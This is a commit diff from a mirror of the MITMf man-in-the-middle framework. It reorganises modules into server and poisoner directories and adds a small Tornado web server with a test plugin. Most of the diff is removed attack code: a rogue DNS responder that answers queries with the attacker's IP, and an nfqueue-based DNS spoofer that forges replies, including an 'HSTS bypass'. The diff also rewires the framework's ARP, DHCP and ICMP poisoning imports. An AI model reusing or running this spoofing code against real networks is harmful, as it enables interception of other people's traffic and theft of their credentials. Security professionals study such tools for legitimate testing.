mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-30 19:50:16 -07:00
Initial webserver implementation, plus organized directory structure a bit better
This commit is contained in:
parent
fb26d89204
commit
929520fcc8
27 changed files with 54 additions and 240 deletions
|
@ -8,7 +8,7 @@ from scapy.all import *
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger('mitmf')
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class DHCPServer():
|
class DHCPpoisoner():
|
||||||
|
|
||||||
def __init__(self, interface, dhcpcfg, ip, mac):
|
def __init__(self, interface, dhcpcfg, ip, mac):
|
||||||
self.interface = interface
|
self.interface = interface
|
|
@ -1,101 +0,0 @@
|
||||||
##################################################################################
|
|
||||||
#DNS Stuff starts here(not Used)
|
|
||||||
##################################################################################
|
|
||||||
|
|
||||||
#Function name self-explanatory
|
|
||||||
|
|
||||||
class DNSServer():
|
|
||||||
|
|
||||||
def serve_thread_udp(host, port, handler):
|
|
||||||
try:
|
|
||||||
server = ThreadingUDPServer((host, port), handler)
|
|
||||||
server.serve_forever()
|
|
||||||
except Exception, e:
|
|
||||||
print "Error starting UDP server on port %s: %s:" % (str(port),str(e))
|
|
||||||
|
|
||||||
def start(DNS_On_Off):
|
|
||||||
if DNS_On_Off == "ON":
|
|
||||||
t1 = threading.Thread(name="DNS", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNS))
|
|
||||||
t2 = threading.Thread(name="DNSTCP", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNSTCP))
|
|
||||||
for t in [t1, t2]:
|
|
||||||
t.setDaemon(True)
|
|
||||||
t.start()
|
|
||||||
|
|
||||||
if DNS_On_Off == "OFF":
|
|
||||||
return False
|
|
||||||
|
|
||||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
|
||||||
|
|
||||||
allow_reuse_address = 1
|
|
||||||
|
|
||||||
def server_bind(self):
|
|
||||||
UDPServer.server_bind(self)
|
|
||||||
|
|
||||||
def ParseDNSType(data):
|
|
||||||
QueryTypeClass = data[len(data)-4:]
|
|
||||||
if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer.
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
#DNS Answer packet.
|
|
||||||
class DNSAns(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("Tid", ""),
|
|
||||||
("Flags", "\x80\x10"),
|
|
||||||
("Question", "\x00\x01"),
|
|
||||||
("AnswerRRS", "\x00\x01"),
|
|
||||||
("AuthorityRRS", "\x00\x00"),
|
|
||||||
("AdditionalRRS", "\x00\x00"),
|
|
||||||
("QuestionName", ""),
|
|
||||||
("QuestionNameNull", "\x00"),
|
|
||||||
("Type", "\x00\x01"),
|
|
||||||
("Class", "\x00\x01"),
|
|
||||||
("AnswerPointer", "\xc0\x0c"),
|
|
||||||
("Type1", "\x00\x01"),
|
|
||||||
("Class1", "\x00\x01"),
|
|
||||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
|
|
||||||
("IPLen", "\x00\x04"),
|
|
||||||
("IP", "\x00\x00\x00\x00"),
|
|
||||||
])
|
|
||||||
|
|
||||||
def calculate(self,data):
|
|
||||||
self.fields["Tid"] = data[0:2]
|
|
||||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
|
||||||
self.fields["IP"] = inet_aton(OURIP)
|
|
||||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
|
||||||
|
|
||||||
# DNS Server class.
|
|
||||||
class DNS(BaseRequestHandler):
|
|
||||||
|
|
||||||
def handle(self):
|
|
||||||
data, soc = self.request
|
|
||||||
if self.client_address[0] == "127.0.0.1":
|
|
||||||
pass
|
|
||||||
elif ParseDNSType(data):
|
|
||||||
buff = DNSAns()
|
|
||||||
buff.calculate(data)
|
|
||||||
soc.sendto(str(buff), self.client_address)
|
|
||||||
#print "DNS Answer sent to: %s "%(self.client_address[0])
|
|
||||||
responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
|
|
||||||
|
|
||||||
class DNSTCP(BaseRequestHandler):
|
|
||||||
|
|
||||||
def handle(self):
|
|
||||||
try:
|
|
||||||
data = self.request.recv(1024)
|
|
||||||
if self.client_address[0] == "127.0.0.1":
|
|
||||||
pass
|
|
||||||
elif ParseDNSType(data):
|
|
||||||
buff = DNSAns()
|
|
||||||
buff.calculate(data)
|
|
||||||
self.request.send(str(buff))
|
|
||||||
#print "DNS Answer sent to: %s "%(self.client_address[0])
|
|
||||||
responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
|
|
||||||
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
|
|
||||||
##################################################################################
|
|
||||||
#DNS Stuff ends here (not Used)
|
|
||||||
##################################################################################
|
|
|
@ -1,130 +0,0 @@
|
||||||
|
|
||||||
class DNSnfqueue():
|
|
||||||
|
|
||||||
hsts = False
|
|
||||||
dns = False
|
|
||||||
hstscfg = None
|
|
||||||
dnscfg = None
|
|
||||||
_instance = None
|
|
||||||
nfqueue = None
|
|
||||||
queue_number = 0
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.nfqueue = NetfilterQueue()
|
|
||||||
t = threading.Thread(name='nfqueue', target=self.bind, args=())
|
|
||||||
t.setDaemon(True)
|
|
||||||
t.start()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def getInstance():
|
|
||||||
if _DNS._instance is None:
|
|
||||||
_DNS._instance = _DNS()
|
|
||||||
|
|
||||||
return _DNS._instance
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def checkInstance():
|
|
||||||
if _DNS._instance is None:
|
|
||||||
return False
|
|
||||||
else:
|
|
||||||
return True
|
|
||||||
|
|
||||||
def bind(self):
|
|
||||||
self.nfqueue.bind(self.queue_number, self.callback)
|
|
||||||
self.nfqueue.run()
|
|
||||||
|
|
||||||
def stop(self):
|
|
||||||
try:
|
|
||||||
self.nfqueue.unbind()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def enableHSTS(self, config):
|
|
||||||
self.hsts = True
|
|
||||||
self.hstscfg = config
|
|
||||||
|
|
||||||
def enableDNS(self, config):
|
|
||||||
self.dns = True
|
|
||||||
self.dnscfg = config
|
|
||||||
|
|
||||||
def resolve_domain(self, domain):
|
|
||||||
try:
|
|
||||||
mitmf_logger.debug("Resolving -> %s" % domain)
|
|
||||||
answer = dns.resolver.query(domain, 'A')
|
|
||||||
real_ips = []
|
|
||||||
for rdata in answer:
|
|
||||||
real_ips.append(rdata.address)
|
|
||||||
|
|
||||||
if len(real_ips) > 0:
|
|
||||||
return real_ips
|
|
||||||
|
|
||||||
except Exception:
|
|
||||||
mitmf_logger.info("Error resolving " + domain)
|
|
||||||
|
|
||||||
def callback(self, payload):
|
|
||||||
try:
|
|
||||||
#mitmf_logger.debug(payload)
|
|
||||||
pkt = IP(payload.get_payload())
|
|
||||||
|
|
||||||
if not pkt.haslayer(DNSQR):
|
|
||||||
payload.accept()
|
|
||||||
return
|
|
||||||
|
|
||||||
if pkt.haslayer(DNSQR):
|
|
||||||
mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
|
||||||
if self.dns:
|
|
||||||
for k, v in self.dnscfg.items():
|
|
||||||
if k in pkt[DNSQR].qname:
|
|
||||||
self.modify_dns(payload, pkt, v)
|
|
||||||
return
|
|
||||||
|
|
||||||
payload.accept()
|
|
||||||
|
|
||||||
elif self.hsts:
|
|
||||||
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
|
|
||||||
for k,v in self.hstscfg.items():
|
|
||||||
if v == pkt[DNSQR].qname[:-1]:
|
|
||||||
ip = self.resolve_domain(k)
|
|
||||||
if ip:
|
|
||||||
self.modify_dns(payload, pkt, ip)
|
|
||||||
return
|
|
||||||
|
|
||||||
if 'wwww' in pkt[DNSQR].qname:
|
|
||||||
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
|
|
||||||
if ip:
|
|
||||||
self.modify_dns(payload, pkt, ip)
|
|
||||||
return
|
|
||||||
|
|
||||||
if 'web' in pkt[DNSQR].qname:
|
|
||||||
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
|
|
||||||
if ip:
|
|
||||||
self.modify_dns(payload, pkt, ip)
|
|
||||||
return
|
|
||||||
|
|
||||||
payload.accept()
|
|
||||||
|
|
||||||
except Exception, e:
|
|
||||||
print "Exception occurred in nfqueue callback: " + str(e)
|
|
||||||
|
|
||||||
def modify_dns(self, payload, pkt, ip):
|
|
||||||
try:
|
|
||||||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
|
||||||
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
|
||||||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
|
||||||
|
|
||||||
if self.hsts:
|
|
||||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
|
||||||
for i in ip:
|
|
||||||
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
|
||||||
mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
|
||||||
payload.set_payload(str(spoofed_pkt))
|
|
||||||
payload.accept()
|
|
||||||
|
|
||||||
if self.dns:
|
|
||||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
|
||||||
mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
|
||||||
payload.set_payload(str(spoofed_pkt))
|
|
||||||
payload.accept()
|
|
||||||
|
|
||||||
except Exception, e:
|
|
||||||
print "Exception occurred while modifying DNS: " + str(e)
|
|
21
core/servers/http/HTTPServer.py
Normal file
21
core/servers/http/HTTPServer.py
Normal file
|
@ -0,0 +1,21 @@
|
||||||
|
import tornado.ioloop
|
||||||
|
import tornado.web
|
||||||
|
import threading
|
||||||
|
|
||||||
|
class HTTPServer:
|
||||||
|
|
||||||
|
_instance = None
|
||||||
|
application = tornado.web.Application([])
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def getInstance():
|
||||||
|
if HTTPServer._instance == None:
|
||||||
|
HTTPServer._instance = HTTPServer()
|
||||||
|
|
||||||
|
return HTTPServer._instance
|
||||||
|
|
||||||
|
def start(self, port=80):
|
||||||
|
self.application.listen(port)
|
||||||
|
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
0
core/servers/smb/__init__.py
Normal file
0
core/servers/smb/__init__.py
Normal file
9
mitmf.py
9
mitmf.py
|
@ -172,12 +172,17 @@ NetCreds().start(args.interface, myip)
|
||||||
print "|_ Net-Creds v{} online".format(NetCreds.version)
|
print "|_ Net-Creds v{} online".format(NetCreds.version)
|
||||||
|
|
||||||
#Start DNSChef
|
#Start DNSChef
|
||||||
from core.dnschef.DNSchef import DNSChef
|
from core.servers.dns.DNSchef import DNSChef
|
||||||
DNSChef.getInstance().start()
|
DNSChef.getInstance().start()
|
||||||
print "|_ DNSChef v{} online".format(DNSChef.version)
|
print "|_ DNSChef v{} online".format(DNSChef.version)
|
||||||
|
|
||||||
|
#Start the HTTP Server
|
||||||
|
from core.servers.http.HTTPServer import HTTPServer
|
||||||
|
HTTPServer.getInstance().start()
|
||||||
|
print "|_ HTTPserver online"
|
||||||
|
|
||||||
#Start the SMB server
|
#Start the SMB server
|
||||||
from core.protocols.smb.SMBserver import SMBserver
|
from core.servers.smb.SMBserver import SMBserver
|
||||||
print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
|
print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
|
||||||
SMBserver().start()
|
SMBserver().start()
|
||||||
|
|
||||||
|
|
|
@ -24,7 +24,7 @@ import logging
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from core.utils import IpTables, SystemConfig
|
from core.utils import IpTables, SystemConfig
|
||||||
from core.sslstrip.URLMonitor import URLMonitor
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
from core.dnschef.DNSchef import DNSChef
|
from core.servers.dns.DNSchef import DNSChef
|
||||||
|
|
||||||
class HSTSbypass(Plugin):
|
class HSTSbypass(Plugin):
|
||||||
name = 'SSLstrip+'
|
name = 'SSLstrip+'
|
||||||
|
|
|
@ -19,11 +19,11 @@
|
||||||
#
|
#
|
||||||
|
|
||||||
from core.utils import SystemConfig, IpTables, shutdown
|
from core.utils import SystemConfig, IpTables, shutdown
|
||||||
from core.protocols.arp.ARPpoisoner import ARPpoisoner
|
from core.poisoners.arp.ARPpoisoner import ARPpoisoner
|
||||||
from core.protocols.arp.ARPWatch import ARPWatch
|
from core.poisoners.arp.ARPWatch import ARPWatch
|
||||||
from core.dnschef.DNSchef import DNSChef
|
from core.servers.dns.DNSchef import DNSChef
|
||||||
from core.protocols.dhcp.DHCPServer import DHCPServer
|
from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
|
||||||
from core.protocols.icmp.ICMPpoisoner import ICMPpoisoner
|
from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
|
|
||||||
|
|
18
plugins/TestPlugin.py
Normal file
18
plugins/TestPlugin.py
Normal file
|
@ -0,0 +1,18 @@
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from core.servers.http.HTTPServer import HTTPServer
|
||||||
|
import tornado.web
|
||||||
|
|
||||||
|
class TestPlugin(Plugin):
|
||||||
|
name = "testplugin"
|
||||||
|
optname = "test"
|
||||||
|
desc = "Plugin to test dynamically configuring the internal web server"
|
||||||
|
version = "0.1"
|
||||||
|
has_opts = False
|
||||||
|
|
||||||
|
def initialize(self, options):
|
||||||
|
HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)])
|
||||||
|
|
||||||
|
class MainHandler(tornado.web.RequestHandler):
|
||||||
|
def get(self):
|
||||||
|
print self.request
|
||||||
|
self.write("Hello World!")
|
|
@ -13,4 +13,5 @@ service_identity
|
||||||
watchdog
|
watchdog
|
||||||
impacket
|
impacket
|
||||||
capstone
|
capstone
|
||||||
|
tornado
|
||||||
pypcap
|
pypcap
|
Loading…
Add table
Add a link
Reference in a new issue